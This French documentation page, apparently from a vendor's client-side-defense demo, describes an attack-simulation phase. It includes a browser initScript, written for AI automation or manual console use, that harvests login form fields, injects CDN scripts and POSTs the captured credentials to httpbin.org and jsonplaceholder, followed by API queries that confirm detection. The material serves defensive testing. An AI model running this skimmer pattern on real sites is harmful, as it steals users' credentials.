- Accueil
- Défense côté client
- Demo
- Phase 2 — Attaque
Phase 2 — Attaque
La Phase 2 génère du trafic d’attaque simulé contre l’application protégée et confirme que le CSD l’a détecté. La Phase 1 doit être terminée — toutes les vérifications de l’Étape 7 doivent être en SUCCÈS — avant de continuer.
Étape 8 : Simulation d’attaque
Section intitulée « Étape 8 : Simulation d’attaque »Une fois l’infrastructure vérifiée (toutes les vérifications de l’Étape 7 de la Phase 1 sont en SUCCÈS), exécutez les scripts de simulation d’attaque pour générer des détections CSD. Les scripts sont définis dans le guide Déclenchement de la détection et dans la Bibliothèque de scripts d’attaque.
Exécution automatisée par IA
Section intitulée « Exécution automatisée par IA »Les assistants IA dotés d’outils d’automatisation de navigateur exécutent la simulation d’attaque de manière programmatique :
- Naviguer avec initScript — naviguer d’abord vers
about:blankpour garantir un contexte de document propre (évite les initScripts obsolètes des navigations précédentes), puisnavigate_pagevershttp://$F5XC_DOMAINNAME/#/loginavec uninitScriptqui sauvegarde les références nativessetInterval,clearInterval,fetchetconsole.logavant que zone.js ne les remplace, interroge les champs du formulaire de connexion, remplit les identifiants via le setter natifHTMLInputElement.prototype.value, et exécute immédiatement le Script de détection combiné en ligne. Utilisez l’initScript textuel ci-dessous. - Fermer la bannière de bienvenue —
press_keyavecEscapepour fermer la bannière de bienvenue. Lors des visites ultérieures, la bannière peut ne pas apparaître (cookies persistants). La boîte de dialogue de consentement aux cookies est automatiquement fermée par la touche Escape - Attendre la fin — attendre 10 secondes que tous les rappels de chargement/erreur de scripts CDN et les résolutions de promesses fetch soient terminés
- Capturer les preuves —
list_console_messagespour vérifier la présence de[CSD Demo] Simulation completeet des résultats de chargement CDN ;list_network_requestsfiltré par typesscriptetfetchpour vérifier les codes de statut HTTP (200/201pour les succès,pendingpour les requêtes retenues)
initScript Phase 2 (textuel — à utiliser tel quel) :
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Exécution manuelle
Section intitulée « Exécution manuelle »Les opérateurs sans outils d’automatisation de navigateur effectuent les étapes manuellement :
- Naviguer vers la page de connexion de l’application protégée :
http://xF5XC_DOMAINNAMEx/#/login - Saisir des identifiants fictifs — tapez
test@example.comdans le champ Email etP@ssword123dans le champ Mot de passe (ne soumettez pas le formulaire) - Ouvrir les DevTools — appuyez sur F12 et passez à l’onglet Console
- Exécuter le Script de détection combiné — collez le script depuis Déclenchement de la détection — Exécuter le script de simulation combiné dans la console et appuyez sur Entrée
- Vérifier la sortie de la console — confirmez que la sortie par phases
[CSD Demo]affiche : la collecte des champs du formulaire, l’injection de scripts depuis 4 domaines CDN, et l’exfiltration de données vers 2 points de terminaison
Ce qui est déclenché
Section intitulée « Ce qui est déclenché »| Signal | Comportement | Détection |
|---|---|---|
| Collecte des champs de formulaire | Lit les valeurs des champs email et mot de passe | Scripts lisant des champs de formulaire sensibles — signalé comme Risque élevé |
| Injection de scripts | Injecte 4 balises <script> depuis cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io | Jusqu’à 4 nouveaux domaines de scripts tiers détectés (disponibilité CDN variable) |
| Exfiltration de données | Envoie les données collectées via fetch vers www.httpbin.org et jsonplaceholder.typicode.com | Appels réseau vers des domaines externes |
L’assistant IA doit signaler les éléments suivants. Pour l’exécution automatisée par IA, les preuves sont capturées de manière programmatique via list_console_messages (la fonction de sondage de l’initScript enregistre les résultats dans la console). Pour l’exécution manuelle, l’opérateur lit la sortie de la console du navigateur.
| Vérification | Attendu | Statut |
|---|---|---|
| Page de connexion chargée | 200 OK sur http://$F5XC_DOMAINNAME/#/login | SUCCÈS / ÉCHEC |
| Script de console exécuté | [CSD Demo] Simulation complete dans la sortie de la console | SUCCÈS / ÉCHEC |
| Champs collectés | Nombre > 0 dans la sortie de la console | SUCCÈS |
| Scripts injectés | 1 à 4 domaines CDN dans la sortie de la console (certains peuvent échouer avec des erreurs de ressources) | SUCCÈS si au moins un domaine CDN apparaît |
| Canaux d’exfiltration | 2 tentatives de fetch POST dans la sortie de la console | SUCCÈS |
Étape 9 : Vérification de la détection via l’API
Section intitulée « Étape 9 : Vérification de la détection via l’API »Interrogez les points de terminaison de l’API CSD pour confirmer l’apparition des détections. Utilisez la boucle d’interrogation : interrogez /detected_domains toutes les 60 secondes ; procédez dès que DET-3 réussit. Si DET-3 ne réussit pas après 10 minutes, vérifiez la configuration CSD. Si DET-3 ne réussit pas après 30 minutes, arrêtez et signalez à l’opérateur. Ces points de terminaison sont documentés dans la Référence API et utilisent la même authentification et le même espace de noms que les étapes précédentes.
Scripts détectés
Section intitulée « Scripts détectés »Interrogez les scripts détectés au cours des dernières 24 heures :
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| Champ | Attendu | Statut |
|---|---|---|
total | > 0 (scripts détectés) | SUCCÈS si > 0 ; EN ATTENTE si 0 mais /detected_domains affiche des domaines d’exfiltration |
| Noms de scripts | Inclut les domaines CDN (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) dans script_name | SUCCÈS si les domaines CDN injectés apparaissent |
Domaines détectés
Section intitulée « Domaines détectés »curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| Champ | Attendu | Statut |
|---|---|---|
total_domains | > 0 | SUCCÈS si > 0 |
| Liste de domaines | Inclut les domaines CDN et d’exfiltration | SUCCÈS si les domaines attendus apparaissent |
Champs de formulaire
Section intitulée « Champs de formulaire »NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| Champ | Attendu | Statut |
|---|---|---|
total | > 0 | SUCCÈS si > 0 ; EN ATTENTE si 0 mais DET-3 réussit |
name | Inclut email, password | SUCCÈS si les champs sensibles apparaissent |
sensitivity | Sensitive pour les champs email/mot de passe | SUCCÈS si le ML a classifié correctement |
Résumé des preuves de la Phase 2
Section intitulée « Résumé des preuves de la Phase 2 »Après toutes les interrogations de détection, présentez le statut de détection final :
| ID Test | Vérification | Statut |
|---|---|---|
| DET-1 | Scripts détectés (point de terminaison /scripts) | SUCCÈS si > 0 ; EN ATTENTE si vide mais DET-3 réussit |
| DET-2 | Domaines CDN détectés | SUCCÈS / ÉCHEC |
| DET-3 | Domaines d’exfiltration détectés (/detected_domains) | Indicateur principal — SUCCÈS si www.httpbin.org ou jsonplaceholder.typicode.com apparaissent |
| DET-4 | Champs de formulaire détectés (point de terminaison /formFields) | SUCCÈS si > 0 ; EN ATTENTE si vide mais DET-3 réussit |
Phase 2 terminée. Passez à la Phase 3 — Mitigation pour appliquer les règles de mitigation et vérifier que les domaines sont bloqués.